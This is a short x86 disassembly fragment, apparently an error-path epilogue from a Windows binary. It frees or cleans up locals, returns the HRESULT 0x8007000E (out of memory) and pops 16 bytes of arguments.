mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x1006dcdf
lea ecx, [ebp - 0x418]
call fcn.1006c188
mov edi, 0x8007000e
lea ecx, [ebp - 0x428]
call fcn.1006c79b
mov eax, edi
lea esp, [ebp - 0x440]
call fcn.1009cbe3
ret 0x10